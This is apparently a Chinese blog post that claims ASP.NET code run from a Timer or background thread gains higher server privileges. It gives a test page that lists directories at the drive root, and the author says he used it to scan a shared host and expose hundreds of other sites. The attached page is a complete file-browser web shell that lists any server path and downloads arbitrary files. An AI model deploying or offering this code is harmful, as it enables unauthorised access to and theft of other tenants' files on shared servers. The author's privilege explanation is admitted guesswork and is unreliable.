在利用System.Threading为ASP.NET程序添加后台处理功能后,我无比兴奋,因为它可以在断开和服务器连接后继续运行,也就是说只要网站在运行,那么线程就不会停下来。而且意想不到的是,利用它你可以获得更大的服务器操作权限。
test.aspx.cs:
System.Threading.Timer timer ;
protected void Page_Load(object sender, EventArgs e)
{
timer = new System.Threading.Timer(new System.Threading.TimerCallback(callback), null,0, System.Threading.Timeout.Infinite);//实例化并启动Timer
}
void callback(object args)
{
timer.Dispose();
while(true)
{
//做你想做的事情
}
}
上面这个程序一旦你访问test.aspx后,后台服务便开始工作,即使你把浏览器关掉,服务照样运行。但是
请注意:关掉浏览器后你的请求实例被摧毁,所以在callback函数里不能再用request、response等对象,也就是说无法和浏览器交互了。
另外需要注意的是:运行timer的用户不再是ASP.NET匿名访问的那个帐号,而是另外一个(具体我也不晓得,我推测而已),因此在callback里你不再受ASP.NET匿名帐号的权限限制,你可能拥有很高的权限。有多高呢?这要看服务器的设置了。下面来做个简单的测试:
先导入命名空间
using System.IO;
using System.Threading;
test.aspx.cs:
System.Threading.Timer timer ;
protected void Page_Load(object sender, EventArgs e)
{
timer = new System.Threading.Timer(new System.Threading.TimerCallback(callback), null,0, System.Threading.Timeout.Infinite);//实例化并启动Timer
}
void callback(object args)
{
timer.Dispose();
//试试看看可以访问虚拟目录外的文件不?
string root = System.IO.Path.GetPathRoot(Server.MapPath("."));
string txtPath=Server.MapPath("./log.txt");//日志文件
System.IO.StreamWriter w = new StreamWriter(txtPath, false, System.Text.Encoding.Default);
try
{
foreach (string dirPath in Directory.GetDirectories(root))
{
w.WriteLine(dirPath);//把根目录下的文件夹路径保存到log.txt
}
}
catch (Exception ex)
{
w.WriteLine(ex.Message);//如果出错可能是没有权限,那就证明这个服务器权限设置得高
}
w.Close();
}
访问test.aspx然后去看看log.txt的记录?如果没出错,那就恭喜你了,这个服务器存在巨大安全漏洞,也就是说你可以对这个盘的文件进行任何操作哦,但是这种可能性很小,不过还是有的,昨天晚上我就把这个后台程序放到我的网站上,结果居然拥有C盘D盘的操作权限,我弄了个递归,结果不到半个小时就把D盘的文件扫描了一遍,上面几百个网站也全曝光了。不过放心,我和虚拟主机服务商认识,不可能做坏事的,今天早上他就把漏洞补上了。
注意:callback函数在page_load事件里直接调用和用timer触发效果是不一样的,以上均是采用timer触发。
附件:
using System;
using System.Data;
using System.Configuration;
using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;
using System.Web.UI.HtmlControls;
using System.Threading;
using System.IO;
public partial class Dir : System.Web.UI.Page
{
DataTable dt;
protected void Page_Load(object sender, EventArgs e)
{
Response.Buffer = false;
dt = new DataTable("nodes");
DataColumn dc = new DataColumn();
dc.DataType=typeof(string);
dc.ColumnName = "icon";
dt.Columns.Add(dc);
dc = new DataColumn();
dc.DataType = typeof(string);
dc.ColumnName = "name";
dt.Columns.Add(dc);
dc = new DataColumn();
dc.DataType = typeof(string);
dc.ColumnName = "err";
dt.Columns.Add(dc);
dc = new DataColumn();
dc.DataType = typeof(string);
dc.ColumnName = "title";
dt.Columns.Add(dc);
if (!Page.IsPostBack)
{
TextBox_Address.Text = Server.MapPath("./");
TextBox_Address.Text = Path.GetDirectoryName(TextBox_Address.Text);
TextBox_Address.Text = TextBox_Address.Text.Replace("//", "/");
Button_Goto_Click(null, null);
}
else if (HiddenField_Name.Value != "")
{
TextBox_Address.Text+="/"+HiddenField_Name.Value;
HiddenField_Name.Value = "";
Button_Goto_Click(null, null);
}
}
void callback(object status)
{
try
{
string path = status.ToString();
if (Directory.Exists(path))
{
GetNodes(path);
}
else if (File.Exists(path))
{
Response.Clear();
Response.AddHeader("Connection", "Keep-Alive");
Response.ContentType = "application/octet-stream";
Response.ContentEncoding = System.Text.Encoding.Default;
//HttpUtility.UrlEncode解决中文文件名乱码问题
Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(System.IO.Path.GetFileName(path)));
Response.AddHeader("Content-Length",FileLen(path).ToString());
Response.WriteFile(path);
Response.End();
}
else
throw new Exception("找不到路径!");
}
catch (Exception ex)
{
DataRow dr = dt.NewRow();
dr["err"] = ex.Message;
dt.Rows.Add(dr);
}
}
void GetNodes(string dir)
{
try
{
foreach (string dirPath in Directory.GetDirectories(dir))
{
string dirName = Path.GetFileName(dirPath);
DataRow dr = dt.NewRow();
dr["icon"] = "Icons/folder.gif";
dr["name"] = FormatName(dirName);
dr["title"] = dirName;
dt.Rows.Add(dr);
}
foreach (string filePath in Directory.GetFiles(dir))
{
string fileName = Path.GetFileName(filePath);
DataRow dr = dt.NewRow();
dr["icon"] = GetIconUrl(filePath);
dr["name"] = FormatName(fileName);
dr["title"] = fileName;
dt.Rows.Add(dr);
}
if (dt.Rows.Count == 0)
{
throw new Exception("文件夹是空的");
}
}
catch (Exception ex)
{
DataRow dr = dt.NewRow();
dr["err"] = ex.Message;
dt.Rows.Add(dr);
}
}
string FormatName(string name)
{
string ext = Path.GetExtension(name);
name = Path.GetFileNameWithoutExtension(name);
int count = System.Text.Encoding.Default.GetByteCount(name);
bool cut = false;
while(count>16)
{
cut = true;
name = name.Substring(0, name.Length - 1);
count = System.Text.Encoding.Default.GetByteCount(name);
}
return cut ? (name+ "...") : (name+ext);
}
string GetIconUrl(string path)
{
string ext = Path.GetExtension(path);
string filename = Server.MapPath("Icons/icon" + ext+".gif");
if (!File.Exists(filename))
System.Drawing.Icon.ExtractAssociatedIcon(path).ToBitmap().Save(filename);
return "Icons/icon" + ext + ".gif";
}
long FileLen(string filepath)
{
FileInfo f = new FileInfo(filepath);
return f.Length;
}
protected void Button_Goto_Click(object sender, EventArgs e)
{
Thread th = new Thread(new ParameterizedThreadStart(callback));
th.Start(TextBox_Address.Text);
th.Join();
DataList1.DataSource = dt.DefaultView;
DataList1.DataBind();
Page.Title = Environment.UserName;
}
protected void Button_GotoParent_Click(object sender, EventArgs e)
{
TextBox_Address.Text = Directory.GetParent(TextBox_Address.Text).FullName;
TextBox_Address.Text = TextBox_Address.Text.Replace("//", "/");
Button_Goto_Click(null, null);
}
}